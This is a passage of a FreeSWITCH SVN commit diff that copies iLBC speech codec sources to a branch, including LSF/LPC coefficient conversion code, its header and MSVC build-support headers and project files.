+           float *a)        /* (i) lpc coefficients */
+{
+    static const float steps[LSF_NUMBER_OF_STEPS] =
+    {
+        0.00635f, 0.003175f, 0.0015875f, 0.00079375f
+    };
+    float step;
+    int step_idx;
+    int lsp_index;
+    float p[LPC_HALFORDER];
+    float q[LPC_HALFORDER];
+    float p_pre[LPC_HALFORDER];
+    float q_pre[LPC_HALFORDER];
+    float old_p;
+    float old_q;
+    float *old;
+    float *pq_coef;
+    float omega;
+    float old_omega;
+    int i;
+    float hlp;
+    float hlp1;
+    float hlp2;
+    float hlp3;
+    float hlp4;
+    float hlp5;
+
+    for (i = 0;  i < LPC_HALFORDER;  i++)
+    {
+        p[i] = -1.0f*(a[i + 1] + a[ILBC_LPC_FILTERORDER - i]);
+        q[i] = a[ILBC_LPC_FILTERORDER - i] - a[i + 1];
+    }
+
+    p_pre[0] = -1.0f - p[0];
+    p_pre[1] = -p_pre[0] - p[1];
+    p_pre[2] = -p_pre[1] - p[2];
+    p_pre[3] = -p_pre[2] - p[3];
+    p_pre[4] = -p_pre[3] - p[4];
+    p_pre[4] = p_pre[4]/2.0f;
+
+    q_pre[0] = 1.0f - q[0];
+    q_pre[1] = q_pre[0] - q[1];
+    q_pre[2] = q_pre[1] - q[2];
+    q_pre[3] = q_pre[2] - q[3];
+    q_pre[4] = q_pre[3] - q[4];
+    q_pre[4] = q_pre[4]/2.0f;
+
+    omega = 0.0f;
+    old_omega = 0.0f;
+
+    old_p = FLOAT_MAX;
+    old_q = FLOAT_MAX;
+
+    /* Here we loop through lsp_index to find all the ILBC_LPC_FILTERORDER roots for omega. */
+    for (lsp_index = 0;  lsp_index < ILBC_LPC_FILTERORDER;  lsp_index++)
+    {
+        /* Depending on lsp_index being even or odd, we
+           alternatively solve the roots for the two LSP equations. */
+        if ((lsp_index & 0x1) == 0)
+        {
+            pq_coef = p_pre;
+            old = &old_p;
+        }
+        else
+        {
+            pq_coef = q_pre;
+            old = &old_q;
+        }
+
+        /* Start with low resolution grid */
+        for (step_idx = 0, step = steps[step_idx];  step_idx < LSF_NUMBER_OF_STEPS;  )
+        {
+            /*  cos(10piw) + pq(0)cos(8piw) + pq(1)cos(6piw) +
+                pq(2)cos(4piw) + pq(3)cod(2piw) + pq(4) */
+            hlp = cosf(omega*TWO_PI);
+            hlp1 = 2.0f*hlp+pq_coef[0];
+            hlp2 = 2.0f*hlp*hlp1 - 1.0f + pq_coef[1];
+            hlp3 = 2.0f*hlp*hlp2 - hlp1 + pq_coef[2];
+            hlp4 = 2.0f*hlp*hlp3 - hlp2 + pq_coef[3];
+            hlp5 = hlp*hlp4 - hlp3 + pq_coef[4];
+
+
+            if (((hlp5 * (*old)) <= 0.0f) || (omega >= 0.5f))
+            {
+                if (step_idx == (LSF_NUMBER_OF_STEPS - 1))
+                {
+                    if (fabsf(hlp5) >= fabsf(*old))
+                        freq[lsp_index] = omega - step;
+                    else
+                        freq[lsp_index] = omega;
+
+                    if ((*old) >= 0.0f)
+                        *old = -1.0f*FLOAT_MAX;
+                    else
+                        *old = FLOAT_MAX;
+
+                    omega = old_omega;
+                    step_idx = 0;
+
+                    step_idx = LSF_NUMBER_OF_STEPS;
+                }
+                else
+                {
+                    if (step_idx == 0)
+                        old_omega = omega;
+
+                    step_idx++;
+                    omega -= steps[step_idx];
+
+                    /* Go back one grid step */
+                    step = steps[step_idx];
+                }
+            }
+            else
+            {
+                /* increment omega until they are of different sign,
+                   and we know there is at least one root between omega
+                   and old_omega */
+                *old = hlp5;
+                omega += step;
+            }
+        }
+    }
+
+    for (i = 0;  i < ILBC_LPC_FILTERORDER;  i++)
+        freq[i] *= TWO_PI;
+}
+
+/*----------------------------------------------------------------*
+ *  conversion from lsf coefficients to lpc coefficients
+ *---------------------------------------------------------------*/
+
+void lsf2a(float *a_coef,   /* (o) lpc coefficients */
+           float *freq)     /* (i) lsf coefficients */
+{
+    int i;
+    int j;
+    float hlp;
+    float p[LPC_HALFORDER];
+    float q[LPC_HALFORDER];
+    float a[LPC_HALFORDER + 1];
+    float a1[LPC_HALFORDER];
+    float a2[LPC_HALFORDER];
+    float b[LPC_HALFORDER + 1];
+    float b1[LPC_HALFORDER];
+    float b2[LPC_HALFORDER];
+
+    for (i = 0;  i < ILBC_LPC_FILTERORDER;  i++)
+        freq[i] *= PI2;
+
+    /* Check input for ill-conditioned cases.  This part is not
+       found in the TIA standard.  It involves the following 2 IF
+       blocks.  If "freq" is judged ill-conditioned, then we first
+       modify freq[0] and freq[LPC_HALFORDER-1] (normally
+       LPC_HALFORDER = 10 for LPC applications), then we adjust
+       the other "freq" values slightly */
+
+    if ((freq[0] <= 0.0f)  ||  (freq[ILBC_LPC_FILTERORDER - 1] >= 0.5f))
+    {
+        if (freq[0] <= 0.0f)
+            freq[0] = 0.022f;
+
+
+        if (freq[ILBC_LPC_FILTERORDER - 1] >= 0.5f)
+            freq[ILBC_LPC_FILTERORDER - 1] = 0.499f;
+
+        hlp = (freq[ILBC_LPC_FILTERORDER - 1] - freq[0])/(float) (ILBC_LPC_FILTERORDER - 1);
+
+        for (i = 1;  i < ILBC_LPC_FILTERORDER;  i++)
+            freq[i] = freq[i - 1] + hlp;
+    }
+
+    memset(a1, 0, LPC_HALFORDER*sizeof(float));
+    memset(a2, 0, LPC_HALFORDER*sizeof(float));
+    memset(b1, 0, LPC_HALFORDER*sizeof(float));
+    memset(b2, 0, LPC_HALFORDER*sizeof(float));
+    memset(a, 0, (LPC_HALFORDER+1)*sizeof(float));
+    memset(b, 0, (LPC_HALFORDER+1)*sizeof(float));
+
+    /* p[i] and q[i] compute cos(2*pi*omega_{2j}) and
+       cos(2*pi*omega_{2j-1} in eqs. 4.2.2.2-1 and 4.2.2.2-2.
+       Note that for this code p[i] specifies the coefficients
+       used in .Q_A(z) while q[i] specifies the coefficients used
+       in .P_A(z) */
+
+    for (i = 0;  i < LPC_HALFORDER;  i++)
+    {
+        p[i] = cosf(TWO_PI*freq[2*i]);
+        q[i] = cosf(TWO_PI*freq[2*i + 1]);
+    }
+
+    a[0] = 0.25f;
+    b[0] = 0.25f;
+
+    for (i = 0;  i < LPC_HALFORDER;  i++)
+    {
+        a[i + 1] = a[i] - 2*p[i]*a1[i] + a2[i];
+        b[i + 1] = b[i] - 2*q[i]*b1[i] + b2[i];
+        a2[i] = a1[i];
+        a1[i] = a[i];
+        b2[i] = b1[i];
+        b1[i] = b[i];
+    }
+
+    for (j = 0;  j < ILBC_LPC_FILTERORDER;  j++)
+    {
+        if (j == 0)
+        {
+            a[0] = 0.25f;
+            b[0] = -0.25f;
+        }
+        else
+        {
+            a[0] =
+            b[0] = 0.0f;
+        }
+
+        for (i = 0;  i < LPC_HALFORDER;  i++)
+        {
+            a[i + 1] = a[i] - 2.0f*p[i]*a1[i] + a2[i];
+            b[i + 1] = b[i] - 2.0f*q[i]*b1[i] + b2[i];
+            a2[i] = a1[i];
+            a1[i] = a[i];
+            b2[i] = b1[i];
+            b1[i] = b[i];
+        }
+
+        a_coef[j + 1] = 2.0f*(a[LPC_HALFORDER] + b[LPC_HALFORDER]);
+    }
+
+    a_coef[0] = 1.0f;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/lsf.h

Copied: freeswitch/branches/seven/libs/ilbc/src/lsf.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/lsf.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/lsf.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/lsf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * lsf.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: lsf.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_LSF_H
+#define __iLBC_LSF_H
+
+void a2lsf(float *freq,     /* (o) lsf coefficients */
+           float *a);       /* (i) lpc coefficients */
+
+void lsf2a(float *a_coef,   /* (o) lpc coefficients */
+           float *freq);    /* (i) lsf coefficients */
+
+#endif

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc)

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/gettimeofday.c

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/gettimeofday.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/gettimeofday.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/gettimeofday.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/gettimeofday.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+#ifdef _MSC_VER
+#pragma warning(disable:4100)
+#endif
+
+#include "windows.h"
+
+void gettimeofday(struct timeval *tv, void *tz)
+{
+    long int l = GetTickCount();
+ 
+    tv->tv_sec = l / 1000;
+    tv->tv_usec = (l % 1000) * 1000;
+    return;
+} 

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/ilbc.def

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/ilbc.def (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/ilbc.def) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/ilbc.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/ilbc.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,304 @@
+EXPORTS
+adsi_rx_init
+adsi_rx
+adsi_tx_init
+adsi_send_alert_tone
+adsi_put_message
+adsi_next_field
+adsi_add_field
+async_tx_init
+async_rx_init
+awgn
+bert_init
+bert_get_bit
+bert_put_bit
+bert_set_report
+bert_result
+filter_create
+filter_delete
+filter_step
+cfilter_create
+cfilter_delete
+cfilter_step
+dds_phase_rate
+dds_frequency
+dds_scaling_dbm0
+dds_scaling_dbov
+dds_lookup
+dds_offset
+dds
+dds_mod
+dds_complex
+dds_complex_mod
+dds_phase_ratef
+dds_frequencyf
+dds_scaling_dbm0f
+dds_scaling_dbovf
+ddsf
+dds_modf
+dds_complexf
+dds_complex_modf
+echo_can_create
+echo_can_free
+echo_can_flush
+echo_can_adaption_mode
+echo_can_update
+fax_rx
+fax_tx
+fax_set_flush_handler
+fax_init
+fax_release
+fsk_tx_init
+fsk_tx_power
+fsk_tx_set_get_bit
+fsk_tx
+fsk_rx_signal_power
+fsk_rx_signal_cutoff
+fsk_rx_init
+fsk_rx
+fsk_rx_set_put_bit
+g722_encode_init
+g722_encode_release
+g722_encode
+g722_decode_init
+g722_decode_release
+g722_decode
+g726_init
+g726_release
+crc_itu32_calc
+crc_itu32_append
+crc_itu32_check
+crc_itu16_calc
+crc_itu16_append
+crc_itu16_check
+hdlc_rx_init
+hdlc_rx_get_stats
+hdlc_tx_init
+hdlc_tx_frame
+hdlc_tx_preamble
+ima_adpcm_init
+ima_adpcm_release
+span_log_test
+span_log
+span_log_buf
+span_log_init
+span_log_set_protocol
+span_set_message_handler
+span_set_error_handler
+modem_echo_can_create
+modem_echo_can_free
+modem_echo_can_flush
+modem_echo_can_adaption_mode
+modem_echo_can_update
+noise
+oki_adpcm_init
+oki_adpcm_release
+playout_put
+playout_get
+playout_get_unconditional
+playout_current_length
+playout_next_due
+playout_new
+playout_free
+playout_restart
+plc_rx
+plc_fillin
+plc_init
+plc_release
+power_meter_init
+power_meter_damping
+power_meter_update
+power_meter_dbm0
+power_meter_dbov
+power_meter_level_dbm0
+power_meter_level_dbov
+queue_empty
+queue_free_space
+queue_contents
+queue_flush
+queue_view
+queue_read
+queue_write
+queue_test_msg
+queue_read_msg
+queue_write_msg
+queue_create
+queue_delete
+sig_tone_init
+sig_tone_rx
+sig_tone_tx
+super_tone_rx_make_descriptor
+super_tone_rx_add_tone
+super_tone_rx_add_element
+super_tone_rx_init
+super_tone_rx_free
+super_tone_rx_segment_callback
+super_tone_rx
+super_tone_tx_make_step
+super_tone_tx_free
+super_tone_tx_init
+super_tone_tx
+t30_init
+t30_release
+t30_restart
+t30_create
+t30_free
+t30_frametype
+t30_decode_dis_dtc_dcs
+t30_completion_code_to_str
+t30_set_header_info
+t30_set_local_ident
+t30_get_sub_address
+t30_get_header_info
+t30_get_local_ident
+t30_get_far_ident
+t30_get_transfer_statistics
+t30_set_phase_b_handler
+t30_set_phase_d_handler
+t30_set_phase_e_handler
+t30_set_document_handler
+t30_set_rx_file
+t30_set_tx_file
+t30_local_interrupt_request
+t30_send_complete
+t30_hdlc_accept
+t30_timer_update
+t31_call_event
+t31_at_rx
+t31_rx
+t31_tx
+t31_init
+t31_release
+t35_decode
+t38_indicator
+t38_data_type
+t38_field_type
+t38_terminal_init
+t38_gateway_init
+t4_rx_create
+t4_rx_init
+t4_rx_start_page
+t4_rx_end_page
+t4_rx_delete
+t4_rx_end
+t4_rx_set_rx_encoding
+t4_rx_set_sub_address
+t4_rx_set_far_ident
+t4_rx_set_vendor
+t4_rx_set_model
+t4_tx_create
+t4_tx_init
+t4_tx_start_page
+t4_tx_restart_page
+t4_tx_end_page
+t4_tx_delete
+t4_tx_end
+t4_tx_set_tx_encoding
+t4_tx_set_min_row_bits
+t4_tx_set_local_ident
+t4_tx_set_header_info
+t4_get_transfer_statistics
+t4_encoding_to_str
+time_scale_init
+time_scale_rate
+time_scale
+make_goertzel_descriptor
+goertzel_init
+goertzel_update
+goertzel_result
+dtmf_rx_init
+dtmf_rx_set_realtime_callback
+dtmf_rx_parms
+dtmf_rx
+make_tone_descriptor
+make_tone_gen_descriptor
+tone_gen_init
+tone_gen
+dtmf_tx_init
+dtmf_tx
+v17_rx_init
+v17_rx_restart
+v17_rx_release
+v17_rx_set_put_bit
+v17_rx
+v17_rx_equalizer_state
+v17_rx_carrier_frequency
+v17_rx_symbol_timing_correction
+v17_rx_signal_power
+v17_rx_signal_cutoff
+v17_rx_set_qam_report_handler
+v17_tx_power
+v17_tx_init
+v17_tx_restart
+v17_tx_release
+v17_tx_set_get_bit
+v17_tx
+v22bis_rx_restart
+v22bis_rx
+v22bis_rx_equalizer_state
+v22bis_rx_carrier_frequency
+v22bis_rx_symbol_timing_correction
+v22bis_rx_signal_power
+v22bis_rx_set_qam_report_handler
+v22bis_tx
+v22bis_tx_power
+v22bis_restart
+v22bis_init
+v22bis_set_get_bit
+v22bis_set_put_bit
+v27ter_rx_init
+v27ter_rx_restart
+v27ter_rx_release
+v27ter_rx_set_put_bit
+v27ter_rx
+v27ter_rx_equalizer_state
+v27ter_rx_carrier_frequency
+v27ter_rx_symbol_timing_correction
+v27ter_rx_signal_power
+v27ter_rx_signal_cutoff
+v27ter_rx_set_qam_report_handler
+v27ter_tx_power
+v27ter_tx_init
+v27ter_tx_restart
+v27ter_tx_release
+v27ter_tx_set_get_bit
+v27ter_tx
+v29_rx_init
+v29_rx_restart
+v29_rx_release
+v29_rx_set_put_bit
+v29_rx
+v29_rx_equalizer_state
+v29_rx_carrier_frequency
+v29_rx_symbol_timing_correction
+v29_rx_signal_power
+v29_rx_signal_cutoff
+v29_rx_set_qam_report_handler
+v29_tx_power
+v29_tx_init
+v29_tx_restart
+v29_tx_release
+v29_tx_set_get_bit
+v29_tx
+lapm_dump
+lapm_receive
+lapm_tx
+lapm_tx_iframe
+v42_set_status_callback
+v42_rx_bit
+v42_tx_bit
+v42_init
+v42_restart
+v42_release
+v42bis_compress
+v42bis_compress_flush
+v42bis_decompress
+v42bis_decompress_flush
+v42bis_init
+v42bis_release
+v8_init
+v8_release
+v8_tx
+v8_rx
+v8_log_supported_modulations
+

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/inttypes.h

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/inttypes.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/inttypes.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/inttypes.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/inttypes.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * inttypes.h - a fudge for MSVC, which lacks this header
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Michael Jerris
+ *
+ *
+ * This file is released in the public domain.
+ *
+ */
+
+#if !defined(_INTTYPES_H_)
+#define _INTTYPES_H_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef _MSC_VER
+#if (_MSC_VER >= 1400) // VC8+
+#ifndef _CRT_SECURE_NO_DEPRECATE
+#define _CRT_SECURE_NO_DEPRECATE
+#endif
+#ifndef _CRT_NONSTDC_NO_DEPRECATE
+#define _CRT_NONSTDC_NO_DEPRECATE
+#endif
+#endif // VC8+
+#include <windows.h>
+typedef unsigned __int8		uint8_t;
+typedef unsigned __int16	uint16_t;
+typedef unsigned __int32	uint32_t;
+typedef unsigned __int64    uint64_t;
+typedef __int8		int8_t;
+typedef __int16		int16_t;
+typedef __int32		int32_t;
+typedef __int64		int64_t;
+#define inline __inline
+#define __inline__ __inline
+#define  INT16_MAX   0x7fff 
+#define  INT16_MIN   (-INT16_MAX - 1) 
+#define _MMX_H_
+
+/* disable the following warnings 
+ * C4100: The formal parameter is not referenced in the body of the function. The unreferenced parameter is ignored. 
+ * C4200: Non standard extension C zero sized array
+ * C4706: assignment within conditional expression
+ * C4244: conversion from 'type1' to 'type2', possible loss of data
+ * C4295: array is too small to include a terminating null character
+ * C4125: decimal digit terminates octal escape sequence
+ */
+#pragma warning(disable:4100 4200 4706 4295 4125)
+
+#pragma comment(lib, "ws2_32.lib")
+
+#define strncasecmp _strnicmp
+#define strcasecmp _stricmp
+#define snprintf _snprintf
+
+#if !defined(INFINITY)
+#define INFINITY 0x7fffffff
+#endif
+#endif
+
+#define PACKAGE "ilbc"
+#define VERSION "0.0.1andabit"
+
+#define INT32_MAX	(2147483647)
+#define INT32_MIN	(-2147483647 - 1)
+
+#define PRId8 "d"
+#define PRId16 "d"
+#define PRId32 "ld"
+#define PRId64 "lld"
+
+#define PRIu8 "u"
+#define PRIu16 "u"
+#define PRIu32 "lu"
+#define PRIu64 "llu"
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.foot

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.foot (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/msvcproj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# End Target
+# End Project

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.head

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.head (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/msvcproj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.head	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/msvcproj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+# Microsoft Developer Studio Project File - Name="ilbc" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=ilbc - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "ilbc.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "ilbc.mak" CFG="ilbc - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "ilbc - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "ilbc - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "ilbc - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libilbc.dll"
+
+!ELSEIF  "$(CFG)" == "ilbc - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libilbc.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "ilbc - Win32 Release"
+# Name "ilbc - Win32 Debug"

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/sys (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/sys)

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/sys/time.h

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/sys/time.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/sys/time.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/sys/time.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/sys/time.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+extern void gettimeofday(struct timeval *tv, void *tz);

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/tgmath.h

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/tgmath.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/tgmath.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/tgmath.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/tgmath.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * tgmath.h - a fudge for MSVC, which lacks this header
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Michael Jerris
+ *
+ *
+ * This file is released in the public domain.
+ *
+ */
+
+#if !defined(_TGMATH_H_)
+#define _TGMATH_H_
+
+#include <math.h>
+
+#if !defined(M_PI)
+/* C99 systems may not define M_PI */
+#define M_PI 3.14159265358979323846264338327
+#endif
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* A kindofa rint() for VC++ (only kindofa, because rint should be type generic,
+   and this one is purely float to int */
+static inline long int lrintf(float a)
+{
+    long int i;
+    
+    __asm
+    {
+        fld   a
+        fistp i
+    }
+    return i;
+}
+
+static inline long int lrint(double a)
+{
+    long int i;
+    
+    __asm
+    {
+        fld   a
+        fistp i
+    }
+    return i;
+}
+
+static inline int rintf(float a)
+{
+    int i;
+    
+    __asm
+    {
+        fld   a
+        fistp i
+    }
+    return i;
+}
+
+static inline int rint(double a)
+{
+    int i;
+    
+    __asm
+    {
+        fld   a
+        fistp i
+    }
+    return i;
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/unistd.h

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/unistd.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/unistd.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/unistd.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/unistd.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * inttypes.h - a fudge for MSVC, which lacks this header
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Michael Jerris
+ *
+ *
+ * This file is released in the public domain.
+ *
+ */
+
+#if !defined(_INTTYPES_H_)
+#define _INTTYPES_H_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define open _open
+#define write _write
+
+extern int gethostname (char *name, size_t len);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.foot

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.foot (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/vc8proj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.head

Copied: freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.head (from rev 14471, freeswitch/trunk/libs/ilbc/src/msvc/vc8proj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.head	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/msvc/vc8proj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libilbc"
+	ProjectGUID="{CF70F278-3364-4395-A2E1-23501C9B8AD2}"
+	RootNamespace="libilbc"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
